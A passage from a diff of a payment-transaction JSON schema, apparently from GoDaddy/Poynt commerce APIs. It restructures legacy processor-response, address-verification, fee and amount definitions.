"type": "string" + }, + "stateResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + } + }, + "type": "object", + "x-legacy": true }, - "stateResult": { - "type": "string", + "LegacyAVSResultType": { "enum": [ "MATCH", "NO_MATCH", @@ -8197,22002 +7280,13149 @@ "UNSUPPORTED_BY_ISSUER", "UNAVAILABLE", "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." + ], + "type": "string" }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } - }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "format": "int64", - "description": "Remaining balance amount" - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] - }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - }, - "description": "Provider verification fields." - }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } - }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } - } - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string", - "description": "Discriminator field representing the type of processor response" - } - }, - "required": [ - "processorType" - ] - }, - "processingInstructions": { - "description": "Processing instructions to be used while processing transaction", - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-processing-instruction.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Processing Instruction", - "type": "object", - "properties": { - "authOnly": { - "type": "boolean", - "default": false, - "writeOnly": true, - "description": "Perform authorize only and do not auto capture. Applicable only for AUTHORIZATION type payment" - }, - "partialAuthEnabled": { - "type": "boolean", - "default": true, - "writeOnly": true, - "description": "Allow partial authorizations. Applicable only for AUTHORIZATION and SALE type payment" - }, - "statementDescriptorSuffix": { - "type": "string", - "writeOnly": true, - "description": "Transaction-level statement descriptor suffix. It's optional field. If parent transaction has data it will be used from parent transaction. If not provided then statement descriptor suffix from device/store/business level will be used." - }, - "storeAndForward": { - "type": "boolean", - "default": false, - "description": "Store and forward transaction. Used to identify if the transaction is online or offline" - } - } - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - }, - "legacyMetadata": { - "description": "Transaction metadata represented by legacy system", - "deprecated": true, - "$id": "https://poynt.godaddy.com/schemas/transaction/metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", - "$defs": { - "LegacyAdjustmentRecord": { - "type": "object", - "properties": { - "amountChanges": { - "description": "Total amount change in this adjustment.", - "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "description": "Simple amount used for processing transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Transaction amount" - }, - "currency": { - "description": "Transaction currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "description": "Itemized amount details used for processing transaction", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "format": "int64", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "description": "Fee associated with transaction", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Fee", - "type": "object", - "description": "Simple fee associated with transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Governed Fee", - "description": "Governed fee associated with transaction", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "programType": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "type": { - "type": "string", - "example": "FIXED", - "description": "How the fee should be appliedbinary", - "enum": [ - "FIXED", - "HYBRID", - "PERCENTAGE" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - } - }, - "required": [ - "amount", - "programType", - "type" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - }, - "required": [ - "amountType" - ] - }, - "amounts": { - "description": "Total amount after this adjustment.", - "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "description": "Simple amount used for processing transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Transaction amount" - }, - "currency": { - "description": "Transaction currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "description": "Itemized amount details used for processing transaction", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "format": "int64", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "description": "Fee associated with transaction", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Fee", - "type": "object", - "description": "Simple fee associated with transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Governed Fee", - "description": "Governed fee associated with transaction", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "programType": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "type": { - "type": "string", - "example": "FIXED", - "description": "How the fee should be appliedbinary", - "enum": [ - "FIXED", - "HYBRID", - "PERCENTAGE" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - } - }, - "required": [ - "amount", - "programType", - "type" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - }, - "required": [ - "amountType" - ] - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "This is a response field. The server time (in ISO-8601 format) at which this transaction was initially created. E.g. 2014-09-11T23:14:44Z." - }, - "exchangeRate": { - "type": "object", - "properties": { - "businessId": { - "type": "string" - }, - "cardAmount": { - "type": "integer", - "format": "int64" - }, - "cardCurrency": { - "type": "string", - "minLength": 3, - "maxLength": 3 - }, - "cardTipAmount": { - "type": "integer", - "format": "int64" - }, - "disclaimer": { - "type": "string" - }, - "markupInfo1": { - "type": "string" - }, - "markupInfo2": { - "type": "string" - }, - "markupPercentage": { - "type": "string" - }, - "provider": { - "type": "string" - }, - "rate": { - "type": "integer", - "format": "int64" - }, - "ratePrecision": { - "type": "integer", - "format": "int64" - }, - "requestedAt": { - "type": "string", - "format": "date-time" - }, - "signature": { - "type": "string" - }, - "tipAmount": { - "type": "integer", - "format": "int64" - }, - "txnAmount": { - "type": "integer", - "format": "int64" - }, - "txnCurrency": { - "type": "string", - "minLength": 3, - "maxLength": 3 - } - }, - "description": "Exchange rate used for this adjustment." - }, - "processorResponse": { - "description": "This object includes some important response elements received from the processor.", - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Processor Response", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "description": "Processor response for credit card", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - 